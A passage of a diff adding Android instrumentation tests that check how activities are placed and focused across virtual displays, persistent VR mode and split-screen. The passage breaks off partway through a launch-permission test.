+        if (!supportsVrMode() || !supportsMultiDisplay()) {
+            // VR Mode is not supported on this device, bail from this test.
+            return;
+        }
+
+        // Put the device in persistent vr mode.
+        enablePersistentVrMode(true);
+
+        // Launch the VR activity.
+        launchActivity(VR_TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
+        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Launch the non-VR 2D activity and check where it ends up.
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Launched activity must be resumed in focused stack",
+            getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+        // Check if the launch activity is in Vr virtual display id.
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+            VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+        assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+        // Check if the focused activity is on this virtual stack.
+        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+            focusedStack.mDisplayId);
+
+        // Put the device out of persistent vr mode.
+        enablePersistentVrMode(false);
+    }
+
+    /**
+     * Tests that any activity already present is re-launched in Vr display in vr mode.
+     */
+    public void testVrActivityReLaunch() throws Exception {
+        if (!supportsVrMode() || !supportsMultiDisplay()) {
+            // VR Mode is not supported on this device, bail from this test.
+            return;
+        }
+
+        // Launch a 2D activity.
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Put the device in persistent vr mode.
+        enablePersistentVrMode(true);
+
+        // Launch the VR activity.
+        launchActivity(VR_TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
+        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Re-launch the non-VR 2D activity and check where it ends up.
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Launched activity must be resumed in focused stack",
+            getActivityComponentName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+        // Check if the launch activity is in Vr virtual display id.
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+            VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+        assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+        // Check if the focused activity is on this virtual stack.
+        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+            focusedStack.mDisplayId);
+
+        // Put the device out of persistent vr mode.
+        enablePersistentVrMode(false);
+    }
+
+    /**
+     * Tests that any new activity launch post Vr mode is in the main display.
+     */
+    public void testActivityLaunchPostVr() throws Exception {
+        if (!supportsVrMode() || !supportsMultiDisplay()) {
+            // VR Mode is not supported on this device, bail from this test.
+            return;
+        }
+
+        // Put the device in persistent vr mode.
+        enablePersistentVrMode(true);
+
+        // Launch the VR activity.
+        launchActivity(VR_TEST_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {VR_TEST_ACTIVITY_NAME});
+        mAmWmState.assertVisibility(VR_TEST_ACTIVITY_NAME, true /* visible */);
+
+        // Launch the non-VR 2D activity and check where it ends up.
+        launchActivity(ALT_LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY});
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(ALT_LAUNCHING_ACTIVITY, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", ALT_LAUNCHING_ACTIVITY);
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Launched activity must be resumed in focused stack",
+            getActivityComponentName(ALT_LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+
+        // Check if the launch activity is in Vr virtual display id.
+        final ReportedDisplays reportedDisplays = getDisplaysStates();
+        assertNotNull("Global configuration must not be empty.", reportedDisplays.mGlobalConfig);
+        final DisplayState vrDisplay = reportedDisplays.getDisplayState(VR_VIRTUAL_DISPLAY_WIDTH,
+            VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
+        assertNotNull("Vr mode should have a virtual display", vrDisplay);
+
+        // Check if the focused activity is on this virtual stack.
+        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mDisplayId,
+            focusedStack.mDisplayId);
+
+        // Put the device out of persistent vr mode.
+        enablePersistentVrMode(false);
+
+        // There isn't a direct launch of activity which can take an user out of persistent VR mode.
+        // This sleep is to account for that delay and let device settle once it comes out of VR
+        // mode.
+        try {
+            Thread.sleep(2000);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        // Launch the non-VR 2D activity and check where it ends up.
+        launchActivity(RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME});
+
+        // Ensure that the subsequent activity is visible
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", RESIZEABLE_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(RESIZEABLE_ACTIVITY_NAME), frontStack.mResumedActivity);
+        assertEquals("Front stack must be on primary display",
+                DEFAULT_DISPLAY_ID, frontStack.mDisplayId);
+    }
+
+    public void testCreateMultipleVirtualDisplays() throws Exception {
+        // Create new virtual display.
+        final List<DisplayState> newDisplays = new VirtualDisplayBuilder(this).build(3);
+        destroyVirtualDisplays();
+        getDisplayStateAfterChange(1);
+    }
+
+    /**
+     * Tests launching an activity on virtual display.
+     */
+    @Presubmit
+    public void testLaunchActivityOnSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        final String logSeparator = clearLogcat();
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the secondary display and resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Check that activity config corresponds to display config.
+        final ReportedSizes reportedSizes = getLastReportedSizesForActivity(TEST_ACTIVITY_NAME,
+                logSeparator);
+        assertEquals("Activity launched on secondary display must have proper configuration",
+                CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display. It should land on the
+     * default display.
+     */
+    public void testLaunchNonResizeableActivityOnSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                NON_RESIZEABLE_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display while split-screen is active
+     * on the primary display. It should land on the primary display and dismiss docked stack.
+     */
+    public void testLaunchNonResizeableActivityWithSplitScreen() throws Exception {
+        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+        // Start launching activity.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        // Create new virtual display.
+        final DisplayState newDisplay =
+                new VirtualDisplayBuilder(this).setLaunchInSplitScreen(true).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                NON_RESIZEABLE_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+        mAmWmState.assertDoesNotContainStack("Must not contain docked stack.", DOCKED_STACK_ID);
+    }
+
+    /**
+     * Tests moving a non-resizeable activity to a virtual display. It should land on the default
+     * display.
+     */
+    public void testMoveNonResizeableActivityToSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        // Launch a non-resizeable activity on a primary display.
+        launchActivityInNewTask(NON_RESIZEABLE_ACTIVITY_NAME);
+        // Launch a resizeable activity on new secondary display to create a new stack there.
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+
+        // Try to move the non-resizeable activity to new secondary display.
+        moveActivityToStack(NON_RESIZEABLE_ACTIVITY_NAME, frontStackId);
+        mAmWmState.computeState(mDevice, new String[] {NON_RESIZEABLE_ACTIVITY_NAME});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                NON_RESIZEABLE_ACTIVITY_NAME);
+
+        // Check that activity is on the right display.
+        frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display from activity there. It should
+     * land on the secondary display based on the resizeability of the root activity of the task.
+     */
+    public void testLaunchNonResizeableActivityFromSecondaryDisplaySameTask() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                LAUNCHING_ACTIVITY);
+
+        // Check that launching activity is on the secondary display.
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the secondary display and resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
+
+        // Launch non-resizeable activity from secondary display.
+        getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME).execute();
+
+        // Check that non-resizeable activity is on the secondary display, because of the resizeable
+        // root of the task.
+        frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the primary display and resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the primary display", frontStackId);
+    }
+
+    /**
+     * Tests launching a non-resizeable activity on virtual display from activity there. It should
+     * land on some different suitable display (usually - on the default one).
+     */
+    public void testLaunchNonResizeableActivityFromSecondaryDisplayNewTask() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                LAUNCHING_ACTIVITY);
+
+        // Check that launching activity is on the secondary display.
+        int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be on the secondary display and resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on the secondary display", frontStackId);
+
+        // Launch non-resizeable activity from secondary display.
+        getLaunchActivityBuilder().setTargetActivityName(NON_RESIZEABLE_ACTIVITY_NAME)
+                .setNewTask(true).setMultipleTask(true).execute();
+
+        // Check that non-resizeable activity is on the primary display.
+        frontStackId = mAmWmState.getAmState().getFocusedStackId();
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        assertFalse("Launched activity must be on a different display",
+                newDisplay.mDisplayId == frontStack.mDisplayId);
+        assertEquals("Launched activity must be resumed",
+                getActivityComponentName(NON_RESIZEABLE_ACTIVITY_NAME),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on a just launched activity", frontStackId);
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity via shell
+     * command and without specifying the display id - the second activity must appear on the
+     * primary display.
+     */
+    @Presubmit
+    public void testConsequentLaunchActivity() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+
+        // Launch second activity without specifying display.
+        launchActivity(LAUNCHING_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        // Check that activity is launched in focused stack on primary display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", LAUNCHING_ACTIVITY);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(LAUNCHING_ACTIVITY), frontStack.mResumedActivity);
+        assertEquals("Front stack must be on primary display",
+                DEFAULT_DISPLAY_ID, frontStack.mDisplayId);
+    }
+
+    /**
+     * Tests launching an activity on virtual display and then launching another activity from the
+     * first one - it must appear on the secondary display, because it was launched from there.
+     */
+    @Presubmit
+    public void testConsequentLaunchActivityFromSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be resumed",
+                LAUNCHING_ACTIVITY);
+
+        // Launch second activity from app on secondary display without specifying display id.
+        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME).execute();
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+
+        // Check that activity is launched in focused stack on external display.
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching an activity to secondary display from activity on primary display.
+     */
+    public void testLaunchActivityFromAppToSecondaryDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Start launching activity.
+        launchActivity(LAUNCHING_ACTIVITY);
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        // Launch activity on secondary display from the app on primary display.
+        getLaunchActivityBuilder().setTargetActivityName(TEST_ACTIVITY_NAME)
+                .setDisplayId(newDisplay.mDisplayId).execute();
+
+        // Check that activity is launched on external display.
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack frontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Launched activity must be resumed in front stack",
+                getActivityComponentName(TEST_ACTIVITY_NAME), frontStack.mResumedActivity);
+    }
+
+    /**
+     * Tests launching activities on secondary and then on primary display to see if the stack
+     * visibility is not affected.
+     */
+    @Presubmit
+    public void testLaunchActivitiesAffectsVisibility() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Start launching activity.
+        launchActivity(LAUNCHING_ACTIVITY);
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on primary display and check if it doesn't affect activity on secondary
+        // display.
+        getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
+        mAmWmState.waitForValidState(mDevice, RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+    }
+
+    /**
+     * Test that move-task works when moving between displays.
+     */
+    @Presubmit
+    public void testMoveTaskBetweenDisplays() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display", TEST_ACTIVITY_NAME);
+        int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Focused stack must be on secondary display",
+                newDisplay.mDisplayId, focusedStack.mDisplayId);
+
+        // Move activity from secondary display to primary.
+        moveActivityToStack(TEST_ACTIVITY_NAME, defaultDisplayStackId);
+        mAmWmState.waitForFocusedStack(mDevice, defaultDisplayStackId);
+        mAmWmState.assertFocusedActivity("Focus must be on moved activity", TEST_ACTIVITY_NAME);
+        focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Focus must return to primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     * This version launches virtual display creator to fullscreen stack in split-screen.
+     */
+    @Presubmit
+    public void testStackFocusSwitchOnDisplayRemoved() throws Exception {
+        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+        // Start launching activity into docked stack.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
+                FULLSCREEN_WORKSPACE_STACK_ID);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     * This version launches virtual display creator to docked stack in split-screen.
+     */
+    public void testStackFocusSwitchOnDisplayRemoved2() throws Exception {
+        if (!supportsMultiDisplay() || !supportsSplitScreenMultiWindow()) { return; }
+
+        // Setup split-screen.
+        launchActivityInDockStack(RESIZEABLE_ACTIVITY_NAME);
+
+        // Start launching activity into fullscreen stack.
+        launchActivityInStack(LAUNCHING_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+
+        tryCreatingAndRemovingDisplayWithActivity(true /* splitScreen */,
+                FULLSCREEN_WORKSPACE_STACK_ID);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     * This version works without split-screen.
+     */
+    public void testStackFocusSwitchOnDisplayRemoved3() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Start an activity on default display to determine default stack.
+        launchActivity(BROADCAST_RECEIVER_ACTIVITY);
+        final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+        // Finish probing activity.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+
+        tryCreatingAndRemovingDisplayWithActivity(false /* splitScreen */, focusedStackId);
+    }
+
+    /**
+     * Create a virtual display, launch a test activity there, destroy the display and check if test
+     * activity is moved to a stack on the default display.
+     */
+    private void tryCreatingAndRemovingDisplayWithActivity(boolean splitScreen, int defaultStackId)
+            throws Exception {
+        // Create new virtual display.
+        final VirtualDisplayBuilder builder = new VirtualDisplayBuilder(this)
+                .setPublicDisplay(true);
+        if (splitScreen) {
+            builder.setLaunchInSplitScreen(true);
+        }
+        final DisplayState newDisplay = builder.build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        if (splitScreen) {
+            mAmWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
+        }
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Destroy virtual display.
+        destroyVirtualDisplays();
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME, defaultStackId);
+        mAmWmState.assertSanity();
+        mAmWmState.assertValidBounds(true /* compareTaskAndStackBounds */);
+
+        // Check if the focus is switched back to primary display.
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedStack(
+                "Default stack on primary display must be focused after display removed",
+                defaultStackId);
+        mAmWmState.assertFocusedActivity(
+                "Focus must be switched back to activity on primary display",
+                TEST_ACTIVITY_NAME);
+    }
+
+    /**
+     * Tests launching activities on secondary display and then removing it to see if stack focus
+     * is moved correctly.
+     */
+    public void testStackFocusSwitchOnStackEmptied() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        final int focusedStackId = mAmWmState.getAmState().getFrontStackId(DEFAULT_DISPLAY_ID);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                BROADCAST_RECEIVER_ACTIVITY);
+
+        // Lock the device, so that activity containers will be detached.
+        sleepDevice();
+
+        // Finish activity on secondary display.
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+        // Unlock and check if the focus is switched back to primary display.
+        wakeUpAndUnlockDevice();
+        mAmWmState.waitForFocusedStack(mDevice, focusedStackId);
+        mAmWmState.waitForValidState(mDevice, VIRTUAL_DISPLAY_ACTIVITY);
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+                VIRTUAL_DISPLAY_ACTIVITY);
+    }
+
+    /**
+     * Tests that input events on the primary display take focus from the virtual display.
+     */
+    public void testStackFocusSwitchOnTouchEvent() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
+        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+                VIRTUAL_DISPLAY_ACTIVITY);
+
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+        mAmWmState.computeState(mDevice, new String[] {TEST_ACTIVITY_NAME});
+        mAmWmState.assertFocusedActivity("Activity launched on secondary display must be focused",
+                TEST_ACTIVITY_NAME);
+
+        final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+        final int width = displayMetrics.getWidth();
+        final int height = displayMetrics.getHeight();
+        executeShellCommand("input tap " + (width / 2) + " " + (height / 2));
+
+        mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY});
+        mAmWmState.assertFocusedActivity("Focus must be switched back to primary display",
+                VIRTUAL_DISPLAY_ACTIVITY);
+    }
+
+    /** Test that system is allowed to launch on secondary displays. */
+    public void testPermissionLaunchFromSystem() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
